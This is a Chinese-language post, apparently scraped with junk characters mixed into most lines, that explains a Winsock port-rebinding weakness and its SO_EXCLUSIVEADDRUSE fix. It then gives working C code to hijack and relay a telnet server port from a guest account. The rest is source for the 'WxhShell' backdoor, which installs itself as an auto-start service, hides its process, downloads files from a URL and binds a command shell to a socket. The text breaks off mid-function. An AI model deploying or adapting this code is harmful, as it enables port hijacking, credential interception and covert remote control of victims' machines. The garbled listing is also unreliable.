在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
+'&_V011< s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
g%q?2Nv sh))[V"8 saddr.sin_family = AF_INET;
J!K/7uS W1vAK saddr.sin_addr.s_addr = htonl(INADDR_ANY);
XpAq=p0; Z\gg<Q bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
\,cKt_{ u j@?[vi 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
3W0E6H" 1~xn[acy 这意味着什么?意味着可以进行如下的攻击:
{ d2f)ra. f{ 4G 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
v[yTk[zd0 hZ\W ?r 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
U0bEB 'B<qG<> 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
m5;[,He #+ lq7HJ1 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Sc"4%L 6quWO2x 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
D@b<}J>0' T~~$=vP9 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
`Py=
?[cD @01D1A 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
?D^,K`wY=B Mb2 L32 #include
)}it,< #include
R#Nd|f< #include
oQjB&0k4 #include
1PTu3o&3 DWORD WINAPI ClientThread(LPVOID lpParam);
~
GT\RAj[ int main()
xdBZ^Q {
y[5P<:&s WORD wVersionRequested;
Ccd7|L1 DWORD ret;
vyx\N{ WSADATA wsaData;
-x%`Wv@L BOOL val;
;
# ?0#):- SOCKADDR_IN saddr;
eN?P) , SOCKADDR_IN scaddr;
$E_vCB_ int err;
g(Xg%&@KZ SOCKET s;
i6 ypx SOCKET sc;
ZYD88kQ int caddsize;
Q3O .<9S HANDLE mt;
W0T
i ^@ DWORD tid;
)w
8lusa wVersionRequested = MAKEWORD( 2, 2 );
,vdP
#: err = WSAStartup( wVersionRequested, &wsaData );
ch8w' if ( err != 0 ) {
wrb& ta printf("error!WSAStartup failed!\n");
q~dg return -1;
@G$<6CG\ }
3;l>x/amk saddr.sin_family = AF_INET;
#M9D"
<pn} #m$% S%s //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
W*DIW;8p ZM^;%( saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Q|H cg| saddr.sin_port = htons(23);
/,@v"mE7c! if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
tfKeo|DM" {
z&vms printf("error!socket failed!\n");
Qu>zO !x return -1;
y=qo-v59' }
F#bo4'&>@ val = TRUE;
dUtIAh-j //SO_REUSEADDR选项就是可以实现端口重绑定的
|{LaZXU & if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
XM@i|AK
M0 {
P$
dgO printf("error!setsockopt failed!\n");
Z
*<x return -1;
aC
}1]7 }
&b6@_C9 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
I\%Lb
z //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
>h( rd1 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
`FB?cPR hSKH#NS if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
N u2]~W& {
#!&R7/
KdD ret=GetLastError();
)"Br,uIv:/ printf("error!bind failed!\n");
jv=f@:[`I return -1;
c@#zjJhW] }
sCCr%r]zL listen(s,2);
xPJJ
!mY while(1)
nK'8Mo {
%+B-Z/1} caddsize = sizeof(scaddr);
r~fl=2>yQ //接受连接请求
9}0Jc(B/x sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
"/Q(UV<d if(sc!=INVALID_SOCKET)
mS&\m#s< {
xA'#JN<* mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
[,$mpJCI if(mt==NULL)
k8wi-z[dV {
W
(c\$2` printf("Thread Creat Failed!\n");
|{IU<o
x break;
u2O^3rG- }
`b`52b\6S }
}ZVv CloseHandle(mt);
BOQV X&g% }
si.a]k/f closesocket(s);
~(L +4] WSACleanup();
9x^
/kAB return 0;
m:Cx~ }
4x?u5L
9o DWORD WINAPI ClientThread(LPVOID lpParam)
9.#R?YP$ {
L\b_,'I SOCKET ss = (SOCKET)lpParam;
A'-YwbY SOCKET sc;
`[:1!I.}- unsigned char buf[4096];
YIUmCx0a SOCKADDR_IN saddr;
d*(Bs$De long num;
Wy>\KrA1 DWORD val;
E/P53CD DWORD ret;
zp-~'kIJ //如果是隐藏端口应用的话,可以在此处加一些判断
U105u.#7 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
'"\Mjz)/ saddr.sin_family = AF_INET;
xWb?i6)z& saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
sl
@6 saddr.sin_port = htons(23);
.LcE^y[V if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'<D}5u72 {
n >PM_W printf("error!socket failed!\n");
poFjhq
/#( return -1;
'wlP` 7&Tn }
7.rZ%1N val = 100;
6U9Fa=%>} if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ayz1i:Q| {
-vfu0XI~ ret = GetLastError();
mf[79:90^ return -1;
o?
"@9O? }
WvzvGT= if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5d{Ggg{s {
3CuoBb8 ret = GetLastError();
.+o> return -1;
S,v >*AF }
,;pX.Ob U if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
V*uu:
{
}4]x"DfIg printf("error!socket connect failed!\n");
'wV26Dm closesocket(sc);
!rGI), closesocket(ss);
:!15>ML;- return -1;
x)Kh_G }
Tm.w+@ while(1)
~cj:AIF {
~0GX~{;r //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
FGhrf //如果是嗅探内容的话,可以再此处进行内容分析和记录
0M2+?aKif //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Xtnmh)'K~# num = recv(ss,buf,4096,0);
'z!#E!i if(num>0)
v+o3r]Y6 send(sc,buf,num,0);
bJ!f,a'/ else if(num==0)
grAL4 break;
r74w[6( num = recv(sc,buf,4096,0);
>Nl~"J|]q if(num>0)
>M85xjXP send(ss,buf,num,0);
jAHn`Bxz else if(num==0)
&-Er n/[ break;
yZaDNc9' }
0%j;yzQ< closesocket(ss);
bO3KaOC8N closesocket(sc);
zb,`K*Z{ return 0 ;
F4(U~n< }
,.MG&O jt?%03iuk "E!p1 ==========================================================
a3IB, dr5P ^@"f%3 下边附上一个代码,,WXhSHELL
GhA~Pj ZS uxiX"0)g> ==========================================================
o;I86dI6C iGNKf|8{ #include "stdafx.h"
9gayu<J IFoN<<7/2$ #include <stdio.h>
oioN0EuDk #include <string.h>
8k'em/M~ #include <windows.h>
v~QZO4[' #include <winsock2.h>
bGO_y]Pc #include <winsvc.h>
yN%Pe:R #include <urlmon.h>
HV(*6b@ cNCBbOMr #pragma comment (lib, "Ws2_32.lib")
io_64K+K #pragma comment (lib, "urlmon.lib")
b?L43t , iPNsEQ0We #define MAX_USER 100 // 最大客户端连接数
gipRVd*TA #define BUF_SOCK 200 // sock buffer
baG I(Dk #define KEY_BUFF 255 // 输入 buffer
uoc-qmm o|E(_Y4d #define REBOOT 0 // 重启
~3]8f0^%m #define SHUTDOWN 1 // 关机
[T|1 Qq7
)dDmq #define DEF_PORT 5000 // 监听端口
(:]iHg3 WTN!2b #define REG_LEN 16 // 注册表键长度
,W;8!n0 #define SVC_LEN 80 // NT服务名长度
WLFzLW=PD H}rP{`m // 从dll定义API
NO1]JpR typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
vbJMgdHFR typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
h0}-1kVT^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
KJZY.7 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
_fw'c*j <-7Ha_# // wxhshell配置信息
6
VDF@V$E struct WSCFG {
13
p0w int ws_port; // 监听端口
]2
N';(R char ws_passstr[REG_LEN]; // 口令
u:?RdB}B_@ int ws_autoins; // 安装标记, 1=yes 0=no
]xs\,}I% char ws_regname[REG_LEN]; // 注册表键名
NKYyMHv6 char ws_svcname[REG_LEN]; // 服务名
n&&y\?n char ws_svcdisp[SVC_LEN]; // 服务显示名
g;@PEZk1 char ws_svcdesc[SVC_LEN]; // 服务描述信息
]TN}`] char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Q&{5.}L int ws_downexe; // 下载执行标记, 1=yes 0=no
{'C74s
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
'iK*#b8l char ws_filenam[SVC_LEN]; // 下载后保存的文件名
JDlIf u?/]"4 };
%&GQ]pmcY N`fY%"5U> // default Wxhshell configuration
Fd'L:A~ struct WSCFG wscfg={DEF_PORT,
<h0ptCB "xuhuanlingzhe",
W0hLh<Go 1,
cH ?]uu( "Wxhshell",
)~ kb7rfl "Wxhshell",
|[ofc!/ "WxhShell Service",
$nWmoe) "Wrsky Windows CmdShell Service",
=z.AQe+ "Please Input Your Password: ",
2Ta F7Jn 1,
=wc[r?7 "
http://www.wrsky.com/wxhshell.exe",
Hq8.O/Y"= "Wxhshell.exe"
G9Ezm*I;: };
#xB%v GV/FK{v5 // 消息定义模块
w"J(sVy4 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
~coG8r"o char *msg_ws_prompt="\n\r? for help\n\r#>";
S?$T=[yY) char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
.quc i(D char *msg_ws_ext="\n\rExit.";
cd#TKmh7re char *msg_ws_end="\n\rQuit.";
-`o:W?V$u char *msg_ws_boot="\n\rReboot...";
\GPc_m:qL char *msg_ws_poff="\n\rShutdown...";
A+&Va\|x char *msg_ws_down="\n\rSave to ";
|R;=P(0it uqH;1T;s char *msg_ws_err="\n\rErr!";
un=)k;oh char *msg_ws_ok="\n\rOK!";
o,I642R~ A}# Mrb char ExeFile[MAX_PATH];
-B!pg7>'## int nUser = 0;
/@e\I0P^ HANDLE handles[MAX_USER];
I&0yUhn int OsIsNt;
LA5rr}<K CJ b~~ SERVICE_STATUS serviceStatus;
cj)~7 WF SERVICE_STATUS_HANDLE hServiceStatusHandle;
t~`Ef u@Lu.t!], // 函数声明
uOx$@1v, int Install(void);
!j@ 8:j0WY int Uninstall(void);
q\<vCKI-^ int DownloadFile(char *sURL, SOCKET wsh);
oY: "nE int Boot(int flag);
DJ.Ct4 void HideProc(void);
g(Nf.hko int GetOsVer(void);
6(=:j"w0 int Wxhshell(SOCKET wsl);
TvR2lP void TalkWithClient(void *cs);
)Ec;kr b+ int CmdShell(SOCKET sock);
s+11) ~ int StartFromService(void);
}, H,ky int StartWxhshell(LPSTR lpCmdLine);
Fk:(%ci /uVB[Tk^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
&0`L; 1R VOID WINAPI NTServiceHandler( DWORD fdwControl );
q ^?{6}sy ub%q<sE* // 数据结构和表定义
&r_B\j3 SERVICE_TABLE_ENTRY DispatchTable[] =
K||85l?< {
MDpXth7 {wscfg.ws_svcname, NTServiceMain},
"%Ak[04' {NULL, NULL}
?{V[bm };
|r%P.f:y{X ~+Y;jAdU // 自我安装
#S5vX<"9 int Install(void)
1/HZY0em {
DzEixE- char svExeFile[MAX_PATH];
CT : ac64 HKEY key;
|bh:x{h strcpy(svExeFile,ExeFile);
-e ya$C 4^5s\f B // 如果是win9x系统,修改注册表设为自启动
UJI1n?~ if(!OsIsNt) {
RK0IkRXQd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
6lPGop]js] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
li[g =A,
RegCloseKey(key);
u/AN|
y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2iu;7/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
<fxYTd<#D[ RegCloseKey(key);
^]kDYhe*Y return 0;
.B@;ch, }
0M"E6z)9 }
mP-+];gg }
sfLBi~*j else {
8c#*T%Vf 'D
bHXS7N // 如果是NT以上系统,安装为系统服务
V}*b^<2o5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
K;Ktx>Z/ if (schSCManager!=0)
_Z%C{~,7)x {
8LL);"$ SC_HANDLE schService = CreateService
>9DgsA`' (
AjpQb~\ schSCManager,
*KMCU
m wscfg.ws_svcname,
P*}Oi7Z wscfg.ws_svcdisp,
1/z1~:Il
SERVICE_ALL_ACCESS,
+MEWAW[}^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SE\`JGA[ SERVICE_AUTO_START,
p`It=16trT SERVICE_ERROR_NORMAL,
`CV a`% svExeFile,
,[x'S>N NULL,
{974m` 5 NULL,
hOV+}P6 NULL,
#Jn_"cCRLx NULL,
22GtTENd1h NULL
gaJS6*P# );
"371`!% if (schService!=0)
=3@^TW(j {
sU>*S$X8 CloseServiceHandle(schService);
</eh^<_~ CloseServiceHandle(schSCManager);
e2;">tp6? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
(\G~S 4 strcat(svExeFile,wscfg.ws_svcname);
_K8-O>I " if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
3 . @W.GG8 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
:Q%&:[2 RegCloseKey(key);
kAqk~. return 0;
K3jno+U& }
=I?p(MqW }
N%0Z>
G CloseServiceHandle(schSCManager);
9i"3R0HN }
?p5Eo{B }
2oNlQiE_ 7BC9cS(0w9 return 1;
i"-j:b:c< }
-Iq#h)Q* Yz,*Q<t // 自我卸载
*yB!^O int Uninstall(void)
A2B&X}K|U {
8!1o,=I$ HKEY key;
5~qr+la `/"z. ~8 if(!OsIsNt) {
_onHe"%{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
XOxm<3gXn RegDeleteValue(key,wscfg.ws_regname);
UZ
y RegCloseKey(key);
S>6APQ- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ohwQ%NDl RegDeleteValue(key,wscfg.ws_regname);
@x)z" )> RegCloseKey(key);
1@/+ c return 0;
LnBkd:>} }
,7eN m>$ }
<Wl!
Qog' }
zj8;ENhEI else {
p{.EFa>H pPh$Jvo] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
#ujcT%1G if (schSCManager!=0)
*G=n${' {
Y#uf 2>J SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
*rA!`e* if (schService!=0)
^E5Xpza {
k%hif8y if(DeleteService(schService)!=0) {
/H\ZCIu/7 CloseServiceHandle(schService);
,"DkMK4% CloseServiceHandle(schSCManager);
@%RDw*L( return 0;
3B>!9:w~f }
a-hF/~84S: CloseServiceHandle(schService);
!]W6i]p }
Hd4&"oeY CloseServiceHandle(schSCManager);
55hJRm3 }
jLZ+HYyG9 }
U,)+wZJ +W-sb5) return 1;
Q7i^VN }
!DLIIKO78 n`CmbM@@ // 从指定url下载文件
D`Fl*Wc4H int DownloadFile(char *sURL, SOCKET wsh)
u U\UULH0 {
Q5baY\"9^ HRESULT hr;
~?nPp$^ char seps[]= "/";
%2V_%KA char *token;
mz>"4-] char *file;
nc([e9_9v char myURL[MAX_PATH];
1&wLNZXH char myFILE[MAX_PATH];
;IwC`!(# ,VbP$1t strcpy(myURL,sURL);
,~c:P>v= token=strtok(myURL,seps);
D_'Zucq while(token!=NULL)
cJL>,Z<|% {
@aI`ru+a file=token;
\\BblzGMR token=strtok(NULL,seps);
Yr"G)i~"Y }
KrG$W/<tg >a
Q;8
GetCurrentDirectory(MAX_PATH,myFILE);
TqCzpf&&h/ strcat(myFILE, "\\");
CI
~+(+q strcat(myFILE, file);
)R,*>-OPJL send(wsh,myFILE,strlen(myFILE),0);
s}UPe)Vu send(wsh,"...",3,0);
2g|+*.*` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Gu9Ap<>! if(hr==S_OK)
ZCV&v47\p_ return 0;
c[ga@Vy else
~u7a50 return 1;
9CW .xX8 .DIHd/wA }
H2[S]`? =p ^Sn,t // 系统电源模块
=f?| f int Boot(int flag)
jg' 'T1) {
0lY.z$V HANDLE hToken;
b1E>LrL TOKEN_PRIVILEGES tkp;
"rBo?%: !y `wAm>n if(OsIsNt) {
,C!MHn^$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
a'W-& j LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
&U!@l)< tkp.PrivilegeCount = 1;
HSq&'V tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
#*XuU8q? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
8+Oyhd*| if(flag==REBOOT) {
3/P2&m if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
0vf2wBK'T return 0;
pv;}Sv$
]- }
l. !5/\ else {
k oZqoP if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Dtt[a return 0;
Qgf\gTF$r+ }
K%Jy?7
U }
L-",.U*; else {
D'c,z[ if(flag==REBOOT) {
"=N[g if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
5 o'V} return 0;
4ijoAW3A^ }
cea%M3 else {
8?J\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
<Hig,(=`. return 0;
?3k;Yg/ }
QzCu$ [ }
ze{ 9g|o17 return 1;
>a5CW~Z] }
BbnY9" ~;9B\fE` // win9x进程隐藏模块
+'x|VPY.PG void HideProc(void)
ZQZ>{K {
grp1nWAs rs`H':a/ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
q!t_qX7u if ( hKernel != NULL )
t9;yyZh {
Yx>=(B pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
3mIVNT@S9 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
?L|m:A` FreeLibrary(hKernel);
+Gg6h=u }
eZJrV}V ]KBzuz% return;
8fY1~\G:\ }
[f!sBJ! OjcxD5"v9 // 获取操作系统版本
=I-SQI8 int GetOsVer(void)
:RBp {
y_;LTCj? OSVERSIONINFO winfo;
_
)b:F=4j winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
4en[!* GetVersionEx(&winfo);
]_G!(`Udh if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
z
GhJ return 1;
nB[Aw7^|A else
lb{<}1YR0o return 0;
M[g9D }
cNZuwS~, y 4j0nF // 客户端句柄模块
0R z'#O32V int Wxhshell(SOCKET wsl)
/r^J8B* {
A(S = SOCKET wsh;
7Y"CeU-S struct sockaddr_in client;
/ q*n*j DWORD myID;
UC"<5z
lcu _l<e>zj while(nUser<MAX_USER)
k z"F4?, {
B{hP#bYK int nSize=sizeof(client);
Ei2hI wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
RP?UKOc if(wsh==INVALID_SOCKET) return 1;
+]
s"* 'V$ hN=YC\l handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
QVA)&k'T, if(handles[nUser]==0)
eo.y,U h closesocket(wsh);
.'.#bH9K else
cy%JJ)sf nUser++;
_ +q.R }
kC"lO' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
(U#4j 6Q A%qlB[!: return 0;
Dl_y[9 }
ckY,6e"6 (qG |.a // 关闭 socket
PQ9.aJdw@- void CloseIt(SOCKET wsh)
@F%H 1 {
X458%)G!(K closesocket(wsh);
cOkjeHs
5 nUser--;
%eW[`uyV ExitThread(0);
2Z!%Q}Do }
,1J+3ugp& V4@HIM // 客户端请求句柄
wH&[Tg void TalkWithClient(void *cs)
Z#0hh%E"|y {
n%yMf!M
.: |E/U(VS3l~ SOCKET wsh=(SOCKET)cs;
<!g q9 char pwd[SVC_LEN];
WP{!|d& char cmd[KEY_BUFF];
Xk8+ char chr[1];
zX*+J"x int i,j;
Q}.zE+ f4eLnY while (nUser < MAX_USER) {
gBBS}HF DlIy'@ . if(wscfg.ws_passstr) {
Pp.qDkT if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
YaI8hj@} //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Ry2rQM` //ZeroMemory(pwd,KEY_BUFF);
#!!Ea'3Iq i=0;
jLRUWg while(i<SVC_LEN) {
WtlPgT;wE ;[9WB<t // 设置超时
l8rBp87Q fd_set FdRead;
'Pyeb`AXE9 struct timeval TimeOut;
M`^;h: DN^ FD_ZERO(&FdRead);
0].*eM FD_SET(wsh,&FdRead);
lt%bGjk TimeOut.tv_sec=8;
`hJSo?G> TimeOut.tv_usec=0;
WPLM*]6 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
>5G2!Ns' if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
$#E?`At{I CDOqdBQ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
N4y$$.uv2 pwd
=chr[0]; M8j%bmd(,
if(chr[0]==0xd || chr[0]==0xa) { $$QbcnOf$
pwd=0; 2\
3}y(
break; (NPDgR/
} qC<!!473 ?
i++; 2' fg
} rWk4)+Tk
O
:P%gz4
// 如果是非法用户,关闭 socket E07g^y"}i
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #SWL$Vm>
} (KQAKEhD!
wbg_%h:
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,jVj9m
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =pHWqGOD
p<hV7x-{
while(1) { T 9lk&7W
A'(v]w
ZeroMemory(cmd,KEY_BUFF); U-+%e:v
uEp
v l
// 自动支持客户端 telnet标准 /Hxz@=LC1
j=0; >(>Fx\z}
while(j<KEY_BUFF) { 1%W|>M`
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h!#!}|Q'
cmd[j]=chr[0]; +Ja9p
if(chr[0]==0xa || chr[0]==0xd) { 0>PO4WFVJ
cmd[j]=0; &Z
Ja}5k!r
break; 5G-)>
} F^Q[P4>m\
j++; \VJ7ahg[\
} f?xc-lX5R
n- cEa/g
// 下载文件 49Sq)jd<
if(strstr(cmd,"http://")) { _ElA\L4g%
send(wsh,msg_ws_down,strlen(msg_ws_down),0); mG;Gt=4
if(DownloadFile(cmd,wsh)) B/@9.a.c
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ 'jJ~U
else WR;"^<i9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LeY!A#j
} &gIDcZ
else { f#9DU}2m
e*[M*u
switch(cmd[0]) { t%jB[w&,os
N"d*pi#h
// 帮助 'W0?XaEk-
case '?': { RJMrSz$
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?R2`RvQ
break; ~4p@m>>
} ba_T:;';0
// 安装 Iz;hje4JL
case 'i': { P<@Yux#
if(Install()) WgBV,{C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); **jD&h7$s-
else K%TlB KV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dL9QYIfP
break; MguH)r`uT
} +f)Nf)\q
// 卸载 rw*#ta
O
case 'r': { ;dq AmBG{8
if(Uninstall()) |BysSJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =1D* JU
else X2#;1 ku
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /mST<{(_G\
break; 4%5H<:V7
} n
ETm"
// 显示 wxhshell 所在路径 23a&m04Rk
case 'p': { YE#OAfj~
char svExeFile[MAX_PATH]; GdN'G
strcpy(svExeFile,"\n\r"); ^s'ozCk 0
strcat(svExeFile,ExeFile); 2+G_Y>
send(wsh,svExeFile,strlen(svExeFile),0); XWo=?(iA
break; {ZK"K+;h
} UH8)r
// 重启 ~O{sOl
_<4
case 'b': { =d_@k[8<0
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $ohg?B;
if(Boot(REBOOT)) VN=S&iBa/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WZ"g:Khw
else { #N-NI+qX
closesocket(wsh); h[c
HCVM:
ExitThread(0); =Mc]FCV
} V%~u8b
break; ,nO:Pxn|
} =Ewa}$-
// 关机 l\8l.xP
case 'd': { r>lC(x\B
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ],%}}UN
if(Boot(SHUTDOWN)) C 3`2{1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +nKxSjqI
else { A{hwT,zV:
closesocket(wsh); Gq5)>'D?
ExitThread(0); >M7e'}0;
} u(KeS`
break; i,/|H]Mzr
} KZV$rJ%G
// 获取shell cm]D"GFLY
case 's': { UQz8":#V
CmdShell(wsh); m{gK<T
closesocket(wsh); 8a{FxCBw
ExitThread(0); i3k ',8
break; k07 JMS?
} bA#E8dlC_
// 退出 1{+Ni{
case 'x': { [.P~-6~
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q!>8E4Z
CloseIt(wsh); S<+_yB?
break; 8<u_ wt@
} 6USet`#
// 离开 {m}B=u
case 'q': { UC*<]
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2vKnxK+ 5
closesocket(wsh); >VqMSe_v
WSACleanup(); <PkDfMx2
exit(1); )_EQU8D4ug
break; 1p,G8 v+B
} |::kC3=
} (CYVSO
} ))63?_
/B!"\0G/,
// 提示信息 \~nUk7.
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GpF, =:
} >fo &H_a
} VIbm%b$~
F!{N4X>%T
return; Dbyy H_
} _p{ag
1gP
/>\.zuAr&
// shell模块句柄 J.":oD
int CmdShell(SOCKET sock) 6"
3!9JC
{ ^~MHxF5d
STARTUPINFO si; (FMG W
(
ZeroMemory(&si,sizeof(si)); B!<{s'
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -'k<2 "z
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nngL,-v#F
PROCESS_INFORMATION ProcessInfo; s@o"V >t
char cmdline[]="cmd"; C%#C|X193
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Xu HJy
return 0; {NE;z<,*:
} /eR @&!D '
LnZz=
// 自身启动模式 ~;m~)D
int StartFromService(void) n<yV]i$
{ TO[5h Y\
typedef struct wSIt"g,%
{ 3v:RLnB
